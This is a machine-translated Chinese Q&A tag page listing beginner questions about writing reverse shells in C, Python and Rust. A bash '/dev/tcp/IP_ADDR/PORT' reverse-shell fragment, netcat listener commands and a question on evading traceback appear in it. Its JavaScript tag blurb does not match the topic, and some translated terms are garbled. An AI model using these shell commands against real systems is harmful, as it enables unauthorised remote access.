问题标签 [reverse-shell]

For questions regarding programming in ECMAScript (JavaScript/JS) and its various dialects/implementations (excluding ActionScript). Note JavaScript is NOT the same as Java! Please include all relevant tags on your question; e.g., [node.js], [jquery], [json], [reactjs], [angular], [ember.js], [vue.js], [typescript], [svelte], etc.

0 投票
1 回答
945 浏览

c - 使用 execve() 执行反向 shell

我需要使用execve. 我知道如何从命令行运行它,如下所示:

我可以运行一个简单版本的/bin/sh调用,如下所示:

我无法弄清楚如何运行命令的其余部分。我尝试将剩余的字符串分配为数组> /dev/tcp/IP_ADDR/PORT 0<&1 2>&1中的单个元素。args当我运行它时,它会报告Can't open >.

我提到的反向shell命令是否可以通过execve()?如果是这样,正确的方法是什么?谢谢。

0 投票
2 回答
838 浏览

python - 我无法在 python 中使用反向外壳(tcp ip)编码器更改目录

我试图用netcat在python(reverse tcp ip)中编写一个反向shell,但我无法使用模块os.chdir()更改目录这是我的代码:

我继续使用 netcat 监听 4444 端口:nc -lvp 4444 在这里运行我的 scrypt 是错误的:

0 投票
1 回答
2216 浏览

python - 运行 TCP 反向 shell 时出错

我对 socket 很陌生,目前正在参加一个在线课程进行攻击性渗透测试。其中一课是 TCP Reverse shell。我在不同的虚拟机(使用 VirtualBox)上运行两个脚本,一个是攻击者,另一个是目标。攻击者脚本运行良好,但客户端输出错误:

我的代码:

我不知道您是否需要查看其他脚本来回答我的问题,如果需要,请告诉我。任何帮助将不胜感激,〜Spiralio。

0 投票
1 回答
1388 浏览

python - 用 Python 编写的反向 shell 脚本的 Rust 等价物是什么?

Python 中的反向 shell 脚本通常如下所示:

我试图用 Rust 复制这个过程:

我只获得了到我的主机的 TCP 连接,使用 netcat ( nc -l -p 6666) 进行监听。如果我理解正确,我需要通过套接字重定向标准输入、输出和错误,然后以某种方式 "call" /bin/sh

如何在 Rust 中编写这个反向 shell 脚本?

0 投票
1 回答
326 浏览

python - 从 exe 运行时 Python http 反向 shell 客户端崩溃

我对使用 python 编程相当陌生,并且能够在从解释器运行脚本时使代码正常工作。但是,当我使用 pyinstaller 创建一个无窗口的单个文件可执行文件时,当我向客户端发送一个简单的命令(例如 dir)时,它会崩溃。服务器端运行在 Kali 虚拟机上,客户端运行在 Windows 虚拟机上。

我希望有人能够看到我缺少的东西,当从 exe 运行时会导致客户端崩溃,但在解释器中可以正常工作。

服务器代码:

客户代码:

0 投票
1 回答
295 浏览

c - 在反向shell中打印当前目录

我试图在 C 中构建一个非常小的反向 shell。

连接有效,命令也被执行,但我想知道如何打印当前目录。到目前为止我的代码:

客户:

在服务器端,我只是使用 nc 工作正常。但是当前目录并没有像往常一样打印出来。前任 如果我发送“cd [...]”,则根本没有输出。

如何将当前目录发送到服务器?

谢谢你的帮助。

0 投票
2 回答
7711 浏览

python - Python Socket TCP连接大小限制?

我目前正在创建一个基于 TCP 的反向 shell(客户端在远程计算机上,连接到本地服务器),它既可以发送和接收文件,也可以通过 TCP 发送 shell 命令。在我尝试从服务器向客户端发送大文件(我记得大于 1 kb)之前,这些程序在其他所有方面(例如,接收和发送命令,服务器接收文件)大部分时间都可以正常工作。当我尝试发送大文件时会发生什么,在服务器完成发送后,客户端由于某种原因崩溃。我什至看不到错误消息。我试图通过在客户端显示接收到的内容来调试它,但它似乎接收良好但立即崩溃。我将为那些想要帮助的人附上客户端代码和服务器代码。代码有点奇怪,因为我添加了一些“标志” 在我第一次调试期间。谢谢你。

服务器代码:

客户代码:

问题只是文件传输。

0 投票
2 回答
3025 浏览

python-2.7 - 反向shell端口转发

我用python创建了一个反向shell,我的路由器在端口转发方面有问题。

我没有任何静态IP。

在路由器中:

协议:TCP

Lochealipaddr: 192.168.1.10

本地端口:8090

万尼帕德尔:---

万港:8090

状态:启用

在我的 python 脚本中,我无法绑定我的 wan ip 地址

ST.bind((Wanipaddr, 8090))

如果我在 localipaddr 上绑定,我的反向 shell 客户端无法连接到服务器

我的问题解决方案是什么?

谢谢

0 投票
1 回答
2566 浏览

http - HTTP 反向 shell 比 TCP 反向 shell 有什么好处?

我制作了一个多客户端 TCP 反向 shell,并观看了一个课程视频,其中说 HTTP 反向 shell 更好,因为与 TCP 相比,它很难追溯到攻击者。我不明白。

我试过用谷歌搜索这个问题,但没有太多帮助。

HTTP 反向 shell 真的比 TCP 更有用吗?如何 ?

我个人认为拥有 HTTP 反向 shell 是不好的,因为 http 是无连接的,当攻击者想要与主机通信时,它不能,因为没有与它的连接,攻击者只能在请求(如 GET)来自主持人。我在这里错过了什么吗?

请解释....

0 投票
1 回答
275 浏览

python-2.7 - WindowsError:[错误 123] 文件名、目录名或卷标语法不正确

我正在制作一个简单的 Python 2.7 reverse-shell ,每次在我的 netcat 服务器中键入 cd C:\ 时,都会为目录更改功能抛出此错误“WindowsError: [Error 123] The filename, directory name, or volume label syntax is不正确:'C:\\n'" 这是我的代码。